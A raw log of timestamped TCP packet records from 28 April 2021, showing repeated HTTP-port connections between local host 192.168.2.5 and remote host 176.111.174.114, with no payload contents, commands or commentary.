Apr 28, 2021 23:25:04.557363033 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.667596102 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.667649984 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.763727903 CEST	80	50349	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.763788939 CEST	80	50348	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.763926029 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.764020920 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.764636993 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.860013008 CEST	80	50349	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.863873005 CEST	80	50349	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.866110086 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.979804039 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.982104063 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.075434923 CEST	80	50349	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.075623989 CEST	50349	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.089864969 CEST	80	50350	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.089963913 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.091099024 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.199178934 CEST	80	50350	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.203404903 CEST	80	50350	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.203581095 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.312592030 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.315304041 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.410761118 CEST	80	50352	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.410892010 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.411488056 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.420124054 CEST	80	50350	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.420229912 CEST	50350	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.506937027 CEST	80	50352	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.511821985 CEST	80	50352	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.511953115 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.620556116 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.622020006 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.716896057 CEST	80	50353	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.716936111 CEST	80	50352	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.717004061 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.717041969 CEST	50352	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.717658997 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.813277960 CEST	80	50353	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.817886114 CEST	80	50353	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:05.818037033 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.933037996 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:05.934114933 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.028714895 CEST	80	50353	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.028830051 CEST	50353	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.031409979 CEST	80	50354	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.031579971 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.032191038 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.129553080 CEST	80	50354	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.133089066 CEST	80	50354	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.133208990 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.244915009 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.246021986 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.341933966 CEST	80	50354	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.342045069 CEST	50354	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.343384981 CEST	80	50355	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.343460083 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.343972921 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.416102886 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.443007946 CEST	80	50355	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.447674036 CEST	80	50355	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.449873924 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.513465881 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.514142990 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.514286041 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.557578087 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.558598995 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.613140106 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.613248110 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.613270998 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.613496065 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.613872051 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.613980055 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.614056110 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.614160061 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.614677906 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.614811897 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.614859104 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.614885092 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.614976883 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.615094900 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.615180969 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.615245104 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.615343094 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.615509987 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.615573883 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.655184984 CEST	80	50357	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.655286074 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.655913115 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.656553984 CEST	80	50355	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.656660080 CEST	50355	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.710728884 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.710866928 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.710967064 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.711014986 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.711072922 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.711085081 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.711148977 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.711178064 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.711956024 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712057114 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712129116 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712176085 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712188005 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712188959 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712233067 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712238073 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712272882 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712313890 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712402105 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712573051 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.712583065 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712702990 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.712754011 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.713028908 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.751178980 CEST	80	50357	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.755525112 CEST	80	50357	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.755599022 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.809740067 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.809775114 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.809791088 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.809806108 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.810024023 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.810050964 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.810209036 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.810307026 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.810391903 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.810463905 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.810651064 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.810744047 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.811057091 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811116934 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.811222076 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811239958 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811255932 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811316013 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.811386108 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.811465979 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811485052 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811578035 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.811841965 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.811919928 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.812007904 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.812052011 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.812068939 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.812069893 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.812099934 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.870567083 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.872680902 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.909171104 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909198999 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909213066 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909290075 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909547091 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909595013 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909837961 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909853935 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.909975052 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.910006046 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.910320044 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.910424948 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.910876036 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911036015 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911225080 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911545038 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911582947 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911602020 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911621094 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.911773920 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.970268011 CEST	80	50357	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.970344067 CEST	50357	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.973191977 CEST	80	50358	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:06.973321915 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:06.973964930 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.008806944 CEST	80	50356	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.008964062 CEST	50356	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.072628975 CEST	80	50358	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.076512098 CEST	80	50358	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.078504086 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.183530092 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.185146093 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.281006098 CEST	80	50360	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.281204939 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.281820059 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.282035112 CEST	80	50358	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.282124043 CEST	50358	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.377639055 CEST	80	50360	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.381288052 CEST	80	50360	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.381460905 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.495516062 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.497405052 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.589947939 CEST	80	50361	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.590167999 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.591114998 CEST	80	50360	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.591214895 CEST	50360	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.591293097 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.685060024 CEST	80	50361	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.690311909 CEST	80	50361	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.690452099 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.811642885 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.813321114 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.904284954 CEST	80	50361	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.904437065 CEST	50361	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.905999899 CEST	80	50362	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:07.906260014 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:07.907388926 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.000181913 CEST	80	50362	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.004323959 CEST	80	50362	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.004386902 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.120317936 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.121731997 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.213191986 CEST	80	50362	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.213299990 CEST	50362	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.221893072 CEST	80	50364	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.222146034 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.222964048 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.324079990 CEST	80	50364	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.327939034 CEST	80	50364	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.328084946 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.433681011 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.435348034 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.534383059 CEST	80	50364	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.534455061 CEST	50364	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.536039114 CEST	80	50365	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.536139965 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.537534952 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.636639118 CEST	80	50365	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.640891075 CEST	80	50365	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.640974045 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.745878935 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.748816013 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.842086077 CEST	80	50366	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.842210054 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.842648983 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.848067999 CEST	80	50365	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.848121881 CEST	50365	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:08.937174082 CEST	80	50366	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.942034960 CEST	80	50366	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:08.942138910 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.058372021 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.069510937 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.153881073 CEST	80	50366	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.154000044 CEST	50366	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.166676044 CEST	80	50367	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.166807890 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.168704033 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.264053106 CEST	80	50367	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.268845081 CEST	80	50367	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.271639109 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.389986992 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.391434908 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.458491087 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.485626936 CEST	80	50367	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.487575054 CEST	50367	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.489707947 CEST	80	50368	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.490644932 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.491219997 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.557581902 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.557776928 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.558098078 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.591067076 CEST	80	50368	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.594921112 CEST	80	50368	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.595021963 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.656394958 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.656457901 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.656531096 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.656619072 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.656753063 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.656847000 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.657315016 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.657422066 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.657491922 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.657521963 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.657582045 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.657634974 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.657767057 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.657856941 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.658092022 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.658215046 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.658550024 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.658648014 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.699023962 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.700423002 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.753714085 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.753776073 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.753801107 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.753937006 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.753974915 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.754009008 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.754108906 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.754133940 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.754348040 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.754398108 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.754435062 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.754599094 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.754646063 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.754666090 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.755006075 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.755115986 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.755290031 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.755316973 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.755455017 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.755511045 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.755628109 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.795891047 CEST	80	50370	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.796505928 CEST	80	50368	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.796732903 CEST	50368	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.796761990 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.797868967 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.851224899 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851243973 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851252079 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851263046 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851310968 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851419926 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.851492882 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.851850033 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851864100 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851897001 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851962090 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.851974010 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852086067 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852092981 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.852173090 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.852210999 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.852327108 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852468967 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852474928 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.852483988 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852498055 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852720022 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.852798939 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852802992 CEST	50369	80	192.168.2.5	176.111.174.114
